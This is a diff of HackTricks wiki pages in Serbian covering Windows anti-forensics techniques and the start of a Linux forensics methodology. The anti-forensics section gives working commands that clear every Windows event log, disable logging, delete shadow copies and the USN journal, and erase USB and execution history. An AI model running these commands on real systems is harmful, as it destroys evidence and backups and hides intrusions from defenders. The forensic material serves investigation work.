-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## Vremenske Oznake
+## Timestamps
-Napadač može biti zainteresovan za **menjanje vremenskih oznaka fajlova** kako bi izbegao otkrivanje.\
-Moguće je pronaći vremenske oznake unutar MFT-a u atributima `$STANDARD_INFORMATION` i `$FILE_NAME`.
+Napadač može biti zainteresovan za **promenu vremenskih oznaka datoteka** kako bi izbegao otkrivanje.\
+Moguće je pronaći vremenske oznake unutar MFT u atributima `$STANDARD_INFORMATION` \_\_ i \_\_ `$FILE_NAME`.
-Oba atributa imaju 4 vremenske oznake: **Modifikacija**, **pristup**, **kreacija** i **modifikacija MFT registra** (MACE ili MACB).
+Oba atributa imaju 4 vremenske oznake: **Modifikacija**, **pristup**, **kreiranje** i **modifikacija MFT registra** (MACE ili MACB).
**Windows explorer** i drugi alati prikazuju informacije iz **`$STANDARD_INFORMATION`**.
-### TimeStomp - Anti-forenzički Alat
+### TimeStomp - Anti-forensic Tool
-Ovaj alat **menja** informacije o vremenskim oznakama unutar **`$STANDARD_INFORMATION`** **ali ne** informacije unutar **`$FILE_NAME`**. Stoga je moguće **identifikovati sumnjivu aktivnost**.
+Ovaj alat **modifikuje** informacije o vremenskim oznakama unutar **`$STANDARD_INFORMATION`** **ali** **ne** informacije unutar **`$FILE_NAME`**. Stoga, moguće je **identifikovati** **sumnjivu** **aktivnost**.
### Usnjrnl
-**USN Journal** (Update Sequence Number Journal) je funkcija NTFS-a (Windows NT fajl sistem) koja prati promene na volumenu. Alat [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) omogućava pregled ovih promena.
+**USN Journal** (Dnevnik broja ažuriranja) je funkcija NTFS (Windows NT datotečni sistem) koja prati promene na volumenu. Alat [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) omogućava ispitivanje ovih promena.
![](<../../.gitbook/assets/image (801).png>)
-Prethodna slika je **izlaz** prikazan od strane **alata** gde se može primetiti da su neke **promene izvršene** na fajlu.
+Prethodna slika je **izlaz** prikazan od strane **alata** gde se može primetiti da su neke **promene izvršene** na datoteci.
### $LogFile
-**Sve promene metapodataka na fajl sistemu se beleže** u procesu poznatom kao [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead\_logging). Beleženi metapodaci se čuvaju u fajlu nazvanom `**$LogFile**`, smeštenom u korenom direktorijumu NTFS fajl sistema. Alati poput [LogFileParser](https://github.com/jschicht/LogFileParser) se mogu koristiti za parsiranje ovog fajla i identifikaciju promena.
+**Sve promene metapodataka na datotečnom sistemu se beleže** u procesu poznatom kao [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Beleženi metapodaci se čuvaju u datoteci nazvanoj `**$LogFile**`, koja se nalazi u korenskom direktorijumu NTFS datotečnog sistema. Alati kao što su [LogFileParser](https://github.com/jschicht/LogFileParser) mogu se koristiti za analizu ove datoteke i identifikaciju promena.
![](<../../.gitbook/assets/image (137).png>)
-Ponovo, u izlazu alata je moguće videti da su **neke promene izvršene**.
+Ponovo, u izlazu alata moguće je videti da su **neke promene izvršene**.
-Korišćenjem istog alata moguće je identifikovati **u koje vreme su vremenske oznake modifikovane**:
+Korišćenjem istog alata moguće je identifikovati **na koji način su vremenske oznake modifikovane**:
![](<../../.gitbook/assets/image (1089).png>)
-* CTIME: Vreme kreiranja fajla
-* ATIME: Vreme modifikacije fajla
-* MTIME: Modifikacija MFT registra fajla
-* RTIME: Vreme pristupa fajlu
+* CTIME: Vreme kreiranja datoteke
+* ATIME: Vreme modifikacije datoteke
+* MTIME: Modifikacija registra MFT datoteke
+* RTIME: Vreme pristupa datoteci
-### Poređenje `$STANDARD_INFORMATION` i `$FILE_NAME`
+### `$STANDARD_INFORMATION` i `$FILE_NAME` poređenje
-Još jedan način identifikovanja sumnjivih modifikovanih fajlova bi bilo upoređivanje vremena na oba atributa u potrazi za **neslaganjima**.
+Još jedan način da se identifikuju sumnjivo modifikovane datoteke bio bi da se uporede vremena na oba atributa tražeći **neusklađenosti**.
-### Nanosekunde
+### Nanoseconds
-**NTFS** vremenske oznake imaju **preciznost** od **100 nanosekundi**. Zato je veoma sumnjivo pronaći fajlove sa vremenskim oznakama poput 2010-10-10 10:10:**00.000:0000**.
+**NTFS** vremenske oznake imaju **preciznost** od **100 nanosekundi**. Stoga, pronalaženje datoteka sa vremenskim oznakama poput 2010-10-10 10:10:**00.000:0000 je veoma sumnjivo**.
-### SetMace - Anti-forenzički Alat
+### SetMace - Anti-forensic Tool
-Ovaj alat može modifikovati oba atributa `$STARNDAR_INFORMATION` i `$FILE_NAME`. Međutim, od Windows Vista, potrebno je da operativni sistem bude aktivan da bi se modifikovale ove informacije.
+Ovaj alat može modifikovati oba atributa `$STARNDAR_INFORMATION` i `$FILE_NAME`. Međutim, od Windows Vista, potrebno je da živi OS modifikuje ove informacije.
-## Skrivanje Podataka
+## Data Hiding
-NTFS koristi klaster i minimalnu veličinu informacija. To znači da ako fajl zauzima klaster i pola, **preostala polovina nikada neće biti korišćena** dok fajl ne bude obrisan. Zato je moguće **sakriti podatke u ovom praznom prostoru**.
+NFTS koristi klaster i minimalnu veličinu informacija. To znači da ako datoteka koristi klaster i po, **preostala polovina nikada neće biti korišćena** dok se datoteka ne obriše. Stoga, moguće je **sakriti podatke u ovom slobodnom prostoru**.
-Postoje alati poput slacker koji omogućavaju skrivanje podataka u ovom "skrivenom" prostoru. Međutim, analiza `$logfile` i `$usnjrnl` može pokazati da su dodati neki podaci:
+Postoje alati poput slacker koji omogućavaju skrivanje podataka u ovom "skrivenom" prostoru. Međutim, analiza `$logfile` i `$usnjrnl` može pokazati da su neki podaci dodati:
![](<../../.gitbook/assets/image (1060).png>)
-Zato je moguće povratiti prazan prostor korišćenjem alata poput FTK Imager. Imajte na umu da ovaj tip alata može sačuvati sadržaj zamućen ili čak šifrovan.
+Stoga, moguće je povratiti slobodan prostor koristeći alate poput FTK Imager. Imajte na umu da ovaj tip alata može sačuvati sadržaj obfuskovan ili čak enkriptovan.
## UsbKill
-Ovo je alat koji će **isključiti računar ako se detektuje bilo kakva promena u USB** portovima.\
-Način da se ovo otkrije bi bilo inspekcijom pokrenutih procesa i **pregled svakog Python skripta koji se izvršava**.
+Ovo je alat koji će **isključiti računar ako se otkrije bilo kakva promena na USB** portovima.\
+Jedan od načina da se to otkrije bio bi da se ispita pokrenuti procesi i **pregleda svaki python skript koji se izvršava**.
-## Distrobucije Live Linux-a
+## Live Linux Distributions
-Ove distribucije se **izvršavaju unutar RAM** memorije. Jedini način da se otkriju je **u slučaju da je NTFS fajl-sistem montiran sa dozvolama za pisanje**. Ako je montiran samo sa dozvolama za čitanje, neće biti moguće otkriti upad.
+Ove distribucije se **izvršavaju unutar RAM** memorije. Jedini način da ih otkrijete je **ako je NTFS datotečni sistem montiran sa pravima za pisanje**. Ako je montiran samo sa pravima za čitanje, neće biti moguće otkriti upad.
-## Bezbedno Brisanje
+## Secure Deletion
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
-## Windows Konfiguracija
+## Windows Configuration
-Moguće je onemogućiti nekoliko metoda beleženja Windows-a kako bi forenzička istraga bila mnogo teža.
+Moguće je onemogućiti nekoliko metoda beleženja u Windows-u kako bi se forenzička istraga učinila mnogo težom.
-### Onemogući Vremenske Oznake - UserAssist
+### Disable Timestamps - UserAssist
-Ovo je registarski ključ koji čuva datume i sate kada je svaki izvršni fajl pokrenut od strane korisnika.
+Ovo je ključ registra koji održava datume i sate kada je svaki izvršni program pokrenut od strane korisnika.
-Onemogućavanje UserAssist-a zahteva dva koraka:
+Onemogućavanje UserAssist zahteva dva koraka:
-1. Postavite dva registarska ključa, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` i `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, oba na nulu kako biste signalizirali da želite onemogućiti UserAssist.
-2. Očistite podstabla registra koja izgledaju kao `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`.
+1. Postavite dva ključa registra, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` i `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, oba na nulu kako bi se signalizovalo da želimo da onemogućimo UserAssist.
+2. Očistite svoje podključeve registra koji izgledaju kao `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`.
-### Onemogući Vremenske Oznake - Prefetch
+### Disable Timestamps - Prefetch
Ovo će sačuvati informacije o aplikacijama koje su izvršene sa ciljem poboljšanja performansi Windows sistema. Međutim, ovo može biti korisno i za forenzičke prakse.
* Izvršite `regedit`
-* Izaberite putanju fajla `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
-* Desni klik na `EnablePrefetch` i `EnableSuperfetch`
-* Izaberite Izmeni na svakom od njih da promenite vrednost sa 1 (ili 3) na 0
-* Ponovo pokrenite računar
+* Izaberite putanju datoteke `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
+* Desni klik na `EnablePrefetcher` i `EnableSuperfetch`
+* Izaberite Izmeni na svakom od ovih da promenite vrednost sa 1 (ili 3) na 0
+* Restartujte
-### Onemogući Vremenske Oznake - Vreme Poslednjeg Pristupa
+### Disable Timestamps - Last Access Time
-Kada se otvori folder sa NTFS volumena na Windows NT serveru, sistem uzima vreme da **ažurira polje vremenske oznake na svakom navedenom folderu**, nazvano vreme poslednjeg pristupa. Na veoma korišćenom NTFS volumenu, ovo može uticati na performanse.
+Kad god se folder otvori sa NTFS volumena na Windows NT serveru, sistem uzima vreme da **ažurira polje vremenske oznake na svakom navedenom folderu**, koje se naziva vreme poslednjeg pristupa. Na NTFS volumenu koji se često koristi, ovo može uticati na performanse.
1. Otvorite Registry Editor (Regedit.exe).
-2. Pretražite `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
-3. Potražite `NtfsDisableLastAccessUpdate`. Ako ne postoji, dodajte ovaj DWORD i postavite vrednost na 1, što će onemogućiti proces.
-4. Zatvorite Registry Editor i ponovo pokrenite server.
-### Obriši USB istoriju
+2. Pretražite do `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
+3. Potražite `NtfsDisableLastAccessUpdate`. Ako ne postoji, dodajte ovaj DWORD i postavite njegovu vrednost na 1, što će onemogućiti proces.
+4. Zatvorite Registry Editor i restartujte server.
-Svi **unosu uređaja USB-a** se čuvaju u Windows registru pod ključem **USBSTOR** koji sadrži podključeve koji se kreiraju svaki put kada priključite USB uređaj na računar ili laptop. Možete pronaći ovaj ključ ovde `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Brisanjem ovoga** ćete obrisati USB istoriju.\
+### Delete USB History
+
+Sve **USB Device Entries** se čuvaju u Windows Registry pod ključem **USBSTOR** koji sadrži podključeve koji se kreiraju svaki put kada priključite USB uređaj u svoj PC ili laptop. Ovaj ključ možete pronaći ovde H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Brisanjem ovog** obrišete USB istoriju.\
Takođe možete koristiti alat [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) da biste bili sigurni da ste ih obrisali (i da ih obrišete).
-Drugi fajl koji čuva informacije o USB uređajima je fajl `setupapi.dev.log` unutar `C:\Windows\INF`. I ovaj fajl treba obrisati.
+Još jedna datoteka koja čuva informacije o USB-ima je datoteka `setupapi.dev.log` unutar `C:\Windows\INF`. Ova datoteka takođe treba da bude obrisana.
-### Onemogući senke kopija
+### Disable Shadow Copies
-**Prikaži** senke kopija sa `vssadmin list shadowstorage`\
-**Obriši** ih pokretanjem `vssadmin delete shadow`
+**List** shadow copies sa `vssadmin list shadowstorage`\
+**Delete** ih pokretanjem `vssadmin delete shadow`
Takođe ih možete obrisati putem GUI prateći korake predložene na [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
-Da biste onemogućili senke kopija [koristite korake odavde](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
+Da biste onemogućili shadow copies [koraci odavde](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
-1. Otvorite program Services tako što ćete u tekstualno polje pretrage nakon klika na Windows start dugme ukucati "services".
-2. Iz liste pronađite "Volume Shadow Copy", izaberite ga, a zatim pristupite Properties opciji desnim klikom.
-3. Izaberite Disabled iz padajućeg menija "Startup type", a zatim potvrdite promenu klikom na Apply i OK.
+1. Otvorite program Services tako što ćete otkucati "services" u tekstualnom pretraživaču nakon što kliknete na Windows dugme.
+2. Sa liste, pronađite "Volume Shadow Copy", izaberite ga, a zatim pristupite Svojstvima desnim klikom.
+3. Izaberite Onemogućeno iz padajućeg menija "Startup type", a zatim potvrdite promenu klikom na Primeni i U redu.
-Takođe je moguće modifikovati konfiguraciju koje datoteke će biti kopirane u senki kopije u registru `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
+Takođe je moguće modifikovati konfiguraciju koje datoteke će biti kopirane u shadow copy u registru `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
-### Prepisi obrisane fajlove
+### Overwrite deleted files
-* Možete koristiti **Windows alat**: `cipher /w:C` Ovo će narediti cifri da ukloni sve podatke sa dostupnog neiskorišćenog prostora na disku C.
+* Možete koristiti **Windows alat**: `cipher /w:C` Ovo će označiti cipher da ukloni sve podatke iz dostupnog neiskorišćenog prostora na disku unutar C diska.
* Takođe možete koristiti alate poput [**Eraser**](https://eraser.heidi.ie)
-### Obriši Windows događajne zapise
+### Delete Windows event logs
-* Windows + R --> eventvwr.msc --> Proširi "Windows Logs" --> Desni klik na svaku kategoriju i izaberi "Clear Log"
+* Windows + R --> eventvwr.msc --> Proširite "Windows Logs" --> Desni klik na svaku kategoriju i izaberite "Clear Log"
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
-### Onemogući Windows događajne zapise
+### Disable Windows event logs
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* Unutar sekcije servisa onemogućite servis "Windows Event Log"
* `WEvtUtil.exec clear-log` ili `WEvtUtil.exe cl`
-### Onemogući $UsnJrnl
+### Disable $UsnJrnl
* `fsutil usn deletejournal /d c:`
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
index 454c27dcd..a5ee08d40 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
@@ -1,37 +1,38 @@
-# Forenzika na Linuxu
+# Linux Forensics
\
-Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
-Pristupite danas:
+Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
-## Inicijalno prikupljanje informacija
+## Početno prikupljanje informacija
### Osnovne informacije
-Pre svega, preporučuje se da imate neki **USB** sa **poznatim binarnim fajlovima i bibliotekama** (možete jednostavno uzeti Ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib_ i _/lib64_), zatim montirajte USB, i izmenite env promenljive da biste koristili te binarne fajlove:
+Prvo, preporučuje se da imate neki **USB** sa **dobro poznatim binarnim datotekama i bibliotekama** (možete jednostavno uzeti ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB i modifikujte env varijable da koristite te binarne datoteke:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
-Kada ste konfigurisali sistem da koristi dobre i poznate binarne datoteke, možete početi **izvlačiti osnovne informacije**:
+Kada konfigurišete sistem da koristi dobre i poznate binarne datoteke, možete početi sa **izvlačenjem nekih osnovnih informacija**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Sumnjive informacije
-Prilikom dobijanja osnovnih informacija trebalo bi da proverite čudne stvari kao što su:
+Dok prikupljate osnovne informacije, trebali biste proveriti čudne stvari kao što su:
-- **Root procesi** obično se izvršavaju sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om možete posumnjati
-- Proverite **registrovane prijave** korisnika bez shell-a unutar `/etc/passwd`
-- Proverite **hash-ove lozinki** unutar `/etc/shadow` za korisnike bez shell-a
+* **Root procesi** obično se pokreću sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om, možete posumnjati
+* Proverite **registrovane prijave** korisnika bez shel-a unutar `/etc/passwd`
+* Proverite **hash-eve lozinke** unutar `/etc/shadow` za korisnike bez shel-a
-### Damp memorije
+### Dump memorije
-Za dobijanje memorije pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\
-Da biste ga **kompajlirali**, treba da koristite **isti kernel** koji koristi mašina žrtva.
+Da biste dobili memoriju pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\
+Da biste ga **kompajlirali**, morate koristiti **isti kernel** koji koristi žrtvinska mašina.
{% hint style="info" %}
-Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na mašini žrtve jer će to izazvati nekoliko promena na njoj
+Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na žrtvinskoj mašini jer će to napraviti nekoliko promena na njoj
{% endhint %}
Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\
-U drugim slučajevima, morate preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa odgovarajućim kernel headerima. Da biste **dobili tačne kernel headere** mašine žrtve, jednostavno **kopirajte direktorijum** `/lib/modules/` na svoju mašinu, a zatim **kompajlirajte** LiME koristeći ih:
+U drugim slučajevima, potrebno je preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa ispravnim kernel header-ima. Da biste **dobili tačne kernel header-e** žrtvinske mašine, možete jednostavno **kopirati direktorijum** `/lib/modules/` na vašu mašinu, a zatim **kompajlirati** LiME koristeći ih:
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME podržava 3 **formata**:
-* Sirovi (svaki segment je konkateniran zajedno)
-* Padded (isti kao sirovi, ali sa nulama na desnoj strani)
+* Raw (svaki segment spojен zajedno)
+* Padded (isto kao raw, ali sa nulama u desnim bitovima)
* Lime (preporučeni format sa metapodacima)
-LiME takođe može biti korišćen za **slanje ispisa putem mreže** umesto čuvanja na sistemu korišćenjem nečega poput: `path=tcp:4444`
+LiME se takođe može koristiti za **slanje dump-a putem mreže** umesto da se čuva na sistemu koristeći nešto poput: `path=tcp:4444`
-### Snimanje slike diska
+### Disk Imaging
-#### Gašenje
+#### Isključivanje
-Prvo, moraćete **isključiti sistem**. Ovo nije uvek opcija jer će nekada sistem biti serverski sistem koji kompanija ne može da priušti da isključi.\
-Postoje **2 načina** za gašenje sistema, **normalno gašenje** i **gašenje "izvadi utikač"**. Prvi će dozvoliti **procesima da se završe kao i obično** i **datotečnom sistemu** da se **sinhronizuje**, ali će takođe dozvoliti mogućem **malveru** da **uništi dokaze**. Pristup "izvadi utikač" može doneti **gubitak nekih informacija** (neće biti mnogo izgubljenih informacija jer smo već uzeli sliku memorije) i **malver neće imati priliku** da uradi bilo šta povodom toga. Stoga, ako **sumnjate** da može biti **malvera**, jednostavno izvršite **`sync`** **komandu** na sistemu i izvucite utikač.
+Prvo, potrebno je da **isključite sistem**. Ovo nije uvek opcija, jer ponekad sistem može biti produkcijski server koji kompanija ne može priuštiti da isključi.\
+Postoje **2 načina** za isključivanje sistema, **normalno isključivanje** i **"isključivanje iz struje"**. Prvi će omogućiti da se **procesi završe kao obično** i da se **fajl sistem** **sinhronizuje**, ali će takođe omogućiti mogućem **malware-u** da **uništi dokaze**. Pristup "isključivanja iz struje" može doneti **neke gubitke informacija** (neće se mnogo informacija izgubiti jer smo već uzeli sliku memorije) i **malware neće imati priliku** da uradi bilo šta povodom toga. Stoga, ako **sumnjate** da može biti **malware**, jednostavno izvršite **`sync`** **komandu** na sistemu i isključite iz struje.
-#### Pravljenje slike diska
+#### Uzimanje slike diska
-Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim što je povezano sa slučajem**, morate biti sigurni da će biti **montiran kao samo za čitanje** kako biste izbegli menjanje bilo kakvih informacija.
+Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim vezanim za slučaj**, morate biti sigurni da će biti **montiran kao samo za čitanje** kako biste izbegli modifikaciju bilo kojih informacija.
```bash
#Create a raw copy of the disk
dd if= of= bs=512
@@ -98,9 +99,9 @@ dd if= of= bs=512
dcfldd if= of= bs=512 hash= hashwindow= hashlog=
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
-### Predanaliza disk slike
+### Disk Image pre-analysis
-Kreiranje slike diska bez dodatnih podataka.
+Imaging a disk image with no more data.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@@ -156,36 +157,36 @@ ThisisTheMasterSecret
\
-Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
-Dobijte pristup danas:
+Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-## Pretraga poznatih Malvera
+## Pretraživanje poznatog Malware-a
-### Modifikovane sistem datoteke
+### Izmenjene sistemske datoteke
-Linux nudi alate za osiguravanje integriteta sistemskih komponenti, ključnih za otkrivanje potencijalno problematičnih datoteka.
+Linux nudi alate za osiguranje integriteta sistemskih komponenti, što je ključno za uočavanje potencijalno problematičnih datoteka.
* **Sistemi zasnovani na RedHat-u**: Koristite `rpm -Va` za sveobuhvatnu proveru.
-* **Sistemi zasnovani na Debian-u**: `dpkg --verify` za početnu verifikaciju, zatim `debsums | grep -v "OK$"` (nakon instaliranja `debsums` sa `apt-get install debsums`) da identifikujete bilo kakve probleme.
+* **Sistemi zasnovani na Debian-u**: `dpkg --verify` za inicijalnu verifikaciju, a zatim `debsums | grep -v "OK$"` (nakon instalacije `debsums` sa `apt-get install debsums`) za identifikaciju bilo kakvih problema.
-### Detektori Malvera/Rootkita
+### Detektori Malware-a/Rootkit-a
-Pročitajte sledeću stranicu da biste saznali o alatima koji mogu biti korisni za pronalaženje malvera:
+Pročitajte sledeću stranicu da biste saznali više o alatima koji mogu biti korisni za pronalaženje malware-a:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
-## Pretraga instaliranih programa
+## Pretraživanje instaliranih programa
-Da biste efikasno pretraživali instalirane programe na Debian i RedHat sistemima, razmotrite korišćenje sistema logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima.
+Da biste efikasno pretražili instalirane programe na sistemima Debian i RedHat, razmotrite korišćenje sistemskih logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima.
-* Za Debian, pregledajte _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_ da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje specifičnih informacija.
-* Korisnici RedHat-a mogu upitati RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi dobili listu instaliranih paketa.
+* Za Debian, proverite _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_ da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje specifičnih informacija.
+* Korisnici RedHat-a mogu upititi RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi prikazali instalirane pakete.
-Da biste otkrili softver instaliran ručno ili van ovih upravljača paketima, istražite direktorijume poput _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, i _**`/sbin`**_. Kombinujte listanje direktorijuma sa sistemskim komandama kako biste identifikovali izvršne datoteke koje nisu povezane sa poznatim paketima, unapređujući tako pretragu svih instaliranih programa.
+Da biste otkrili softver instaliran ručno ili van ovih menadžera paketa, istražite direktorijume kao što su _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, i _**`/sbin`**_. Kombinujte liste direktorijuma sa sistemskim komandama specifičnim za vašu platformu kako biste identifikovali izvršne datoteke koje nisu povezane sa poznatim paketima, čime poboljšavate pretragu za svim instaliranim programima.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -204,20 +205,20 @@ find / -type f -executable | grep
\
